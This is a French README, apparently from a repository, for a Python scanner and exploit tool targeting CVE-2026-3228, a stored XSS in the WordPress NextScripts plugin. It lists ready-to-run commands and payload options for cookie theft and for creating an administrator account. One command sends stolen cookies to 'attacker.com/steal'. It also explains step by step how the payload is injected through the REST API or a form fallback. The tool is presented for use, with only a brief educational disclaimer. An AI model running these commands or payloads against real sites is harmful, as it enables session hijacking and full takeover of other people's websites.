
Scanne et exploite CVE-2026-3228, une XSS stockée dans le plugin WordPress NextScripts, avec détection pré-authentification, vérifications authentifiées et injection de payload pour PoC, vol de cookies ou création d'administrateur.
CVE-2026-3228 - Scanner et Exploit XSS Stocké pour le Plugin WordPress NextScripts
https://img.shields.io/badge/python-3.6+-blue.svg
https://img.shields.io/badge/license-MIT-green
https://img.shields.io/badge/WordPress-Plugin-red
Auteur : NULL200OK
Un outil Python complet pour scanner et exploiter CVE-2026-3228, une vulnérabilité de Cross-Site Scripting (XSS) stocké dans le plugin WordPress NextScripts : Social Networks Auto-Poster (versions ≤ 4.4.6).
La vulnérabilité permet aux utilisateurs authentifiés ayant un accès de niveau Contributeur ou supérieur d'injecter du JavaScript arbitraire via le shortcode [nxs_fbembed]. Lorsqu'un administrateur consulte le post infecté, le script s'exécute dans son navigateur, ce qui peut conduire au détournement de session, à la création de comptes administrateur ou à la compromission du site.
📦 Fonctionnalités
info – Affiche des informations détaillées sur la CVE (description, cause racine, impact).
scan – Scan pré‑authentification pour détecter le plugin et sa version.
check – Vérification complète avec identifiants (connexion, vérification des privilèges, détection de version).
exploit – Injecte des payloads XSS malveillants dans un nouveau post en utilisant le shortcode vulnérable.
Plusieurs types de payloads :
alert – Boîte d'alerte simple pour preuve de concept.
cookie – Vole les cookies de session et les envoie à une URL de rappel.
admin – Tente de créer un nouvel utilisateur administrateur (nécessite qu'un admin consulte la page).
html – Injection HTML basique avec événements onerror.
custom – JavaScript fourni par l'utilisateur.
all – Injecte tous les types de payloads dans des posts séparés.
Authentification automatique – Gère la connexion WordPress, la gestion de session et l'extraction des nonces.
Méthodes d'injection de secours – Essaie d'abord l'API REST, puis la soumission de formulaire traditionnelle.
Sortie conviviale – Messages de statut colorés et guide clair étape par étape.
🚨 Aperçu de la vulnérabilité
ID CVE : CVE-2026-3228
Score CVSS : 6.4 (Moyen)
Plugin concerné : NextScripts : Social Networks Auto-Poster ≤ 4.4.6
Cause racine :
Assainissement insuffisant de la valeur du post meta snapFB.
Échappement de sortie insuffisant lors du rendu du shortcode [nxs_fbembed].
Privilèges requis : Compte de niveau Contributeur ou supérieur.
Impact : Un attaquant peut exécuter du JavaScript arbitraire dans le contexte de tout utilisateur (y compris les administrateurs) qui consulte le post infecté, conduisant à une compromission complète du site.
⚙️ Prérequis
Python 3.6+
requests
beautifulsoup4
Installer les dépendances :
bash
pip install requests beautifulsoup4
🔧 Installation
bash
cd CVE-2026-3228
📚 Utilisation
text
usage: CVE-2026-3228.py [-h] {info,scan,check,exploit} ...
CVE-2026-3228 - Scanner et Exploit XSS Stocké pour le Plugin WordPress NextScripts
arguments positionnels :
{info,scan,check,exploit}
info Affiche des informations détaillées sur la CVE
scan Vérifie si la cible est vulnérable (pré-auth)
check Vérification complète avec identifiants
exploit Exploite la vulnérabilité (nécessite des identifiants valides)
arguments optionnels :
-h, --help affiche ce message d'aide et quitte
bash
python3 CVE-2026-3228.py info
bash
python3 CVE-2026-3228.py scan https://example.com
bash
python3 CVE-2026-3228.py check https://example.com -u contributor -p password
Payload d'alerte basique (PoC)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type alert
Voler les cookies (nécessite un listener)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type cookie --callback-url https://attacker.com/steal
Tenter de créer un utilisateur admin (lorsqu'un admin consulte la page)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type admin
Injecter tous les types de payloads
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type all
JavaScript personnalisé
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type custom --custom-js "console.log('pwned')"
🧠 Comment ça fonctionne (Étape par Étape)
Authentification – Le script se connecte à WordPress avec les identifiants fournis et maintient une session.
Vérification des privilèges – Vérifie que l'utilisateur connecté a au moins un accès de niveau Contributeur (requis pour créer des posts).
Génération du payload – Crée des payloads JavaScript en fonction du type choisi.
Injection – Crée un nouveau post contenant le shortcode vulnérable [nxs_fbembed]. Le script malveillant est placé dans le champ post meta snapFB, qui n'est pas correctement assaini par le plugin.
Stockage – Le post est publié (ou enregistré en brouillon) et le payload est stocké dans la base de données.
Déclenchement – Lorsqu'un administrateur (ou tout utilisateur) consulte le post, le script non assaini est rendu et exécuté dans son navigateur.
Post‑exploitation – Selon le payload, l'attaquant peut voler des cookies, créer des comptes administrateur ou effectuer d'autres actions.
Le script tente d'abord l'injection via l'API REST de WordPress (plus rapide, plus propre). Si cela échoue, il revient à la soumission de formulaire traditionnelle, en extrayant les nonces requis de la page de l'éditeur de post.
⚠️ Avertissement
Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale. L'auteur (NULL200OK) décline toute responsabilité et n'est pas responsable de toute utilisation abusive ou de tout dommage causé par ce script.
📄 Licence
Ce projet est sous licence MIT – voir le fichier LICENSE pour plus de détails.
📬 Références
MITRE CVE‑2026‑3228 (espace réservé)
Annuaire des plugins WordPress
OWASP Stored XSS